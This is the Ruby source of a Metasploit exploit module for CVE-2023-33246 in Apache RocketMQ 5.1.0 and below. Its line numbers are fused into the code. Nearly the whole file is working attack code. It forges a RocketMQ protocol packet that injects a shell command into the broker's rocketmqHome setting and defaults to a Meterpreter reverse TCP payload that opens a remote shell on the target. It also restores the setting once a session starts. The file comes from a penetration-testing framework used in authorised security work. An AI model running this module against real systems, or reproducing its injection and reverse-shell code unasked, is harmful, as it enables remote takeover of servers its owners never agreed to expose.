Path: blob/master/modules/exploits/multi/http/apache_rocketmq_update_config.rb
31559 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::CmdStager10include Msf::Auxiliary::Rocketmq11prepend Msf::Exploit::Remote::AutoCheck1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Apache RocketMQ update config RCE',18'Description' => %q{19RocketMQ versions 5.1.0 and below are vulnerable to Arbitrary Code Injection. Broker component of RocketMQ is20leaked on the extranet and lack permission verification. An attacker can exploit this vulnerability by using21the update configuration function to execute commands as the system users that RocketMQ is running as.22Additionally, an attacker can achieve the same effect by forging the RocketMQ protocol content.23},24'Author' => [25'Malayke', # PoC26'jheysel-r7', # module - RCE portion27'h00die', # module - Version detection & parsing28],29'References' => [30[ 'URL', 'https://github.com/Malayke/CVE-2023-33246_RocketMQ_RCE_EXPLOIT#usage-examples'],31[ 'CVE', '2023-33246']32],33'License' => MSF_LICENSE,34'Privileged' => false,35'Targets' => [36[37'Automatic (Unix In-Memory)',38{39'Platform' => %w[unix linux],40'Arch' => ARCH_CMD,41'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp' },42'Type' => :nix_memory43}44],45],46'Payload' => {47'BadChars' => "\x27"48},49'DefaultOptions' => {50'WfsDelay' => 6051},52'DefaultTarget' => 0,53'DisclosureDate' => '2023-05-23',54'Notes' => {55'Stability' => [ CRASH_SAFE ],56'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ],57'Reliability' => [ REPEATABLE_SESSION ]58}59)60)6162register_options(63[64OptPort.new('RPORT', [true, 'The RocketMQ NameServer port', 9876]),65OptPort.new('BROKER_PORT', [false, 'The RocketMQ Broker port. If left unset the module will attempt to retrieve the Broker port from the NameServer response (recommended)', 10911])66]67)68end6970def check71@version_request_response = send_version_request72return Exploit::CheckCode::Unknown('Unable to determine the version') unless @version_request_response7374@parsed_data = parse_rocketmq_data(@version_request_response)75return Exploit::CheckCode::Unknown('RocketMQ did not respond to the request for version information') unless @parsed_data['version']7677version = Rex::Version.new(@parsed_data['version'].gsub('V', ''))78return Exploit::CheckCode::Unknown('Unable to determine the version') unless version7980if version > Rex::Version.new('5.0.0')81return Exploit::CheckCode::Appears("RocketMQ version: #{version}") if version <= Rex::Version.new('5.1.0')82elsif version <= Rex::Version.new('4.9.5')83return Exploit::CheckCode::Appears("RocketMQ version: #{version}")84end85Exploit::CheckCode::Safe("RocketMQ version: #{version}")86end8788def execute_command(cmd, opts = {})89data = '`{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":395}filterServerNums=190rocketmqHome=' + cmd.encode('UTF-8') + "\x3b\x0a"91header = [data.length + 3].pack('N') + "\x00\x00\x00"92payload = header + data9394begin95vprint_status("Payload command to be executed: #{cmd}")96sock = connect(true, { 'RHOST' => datastore['RHOST'], 'RPORT' => opts[:broker_port].to_i })97vprint_status("Payload is #{data}")98sock.put(payload)99rescue Rex::ConnectionError, ::Errno::ETIMEDOUT, ::Timeout::Error, ::EOFError => e100fail_with(Failure::Unreachable, "Unable to connect: #{e.class} #{e.message}")101end102end103104def on_new_session(session)105print_status('Removing the payload from where it was injected into $ROCKETMQ_HOME. The FilterServerManager class will execute the payload every 30 seconds until this is reverted')106107if session.type == 'meterpreter'108pwd = session.fs.dir.pwd109else110pwd = session.shell_command_token('pwd')111end112113# The session returned by the exploit spawns inside $ROCKETMQ_HOME/bin114pwd.gsub!('/bin', '')115print_good("Determined the original $ROCKETMQ_HOME: #{pwd}")116print_status('Re-running the exploit in order to reset the proper $ROCKETMQ_HOME value')117118execute_command(pwd, { broker_port: @broker_port })119end120121def exploit122@version_request_response ||= send_version_request123@parsed_data ||= parse_rocketmq_data(@version_request_response)124@broker_port = get_broker_port(@parsed_data, datastore['rhost'], default_broker_port: datastore['BROKER_PORT'])125print_status("Executing target: #{target.name} with payload #{datastore['PAYLOAD']} on Broker port: #{@broker_port}")126execute_command("-c $@|sh . echo bash -c '#{payload.encoded}'", { broker_port: @broker_port })127end128end129130131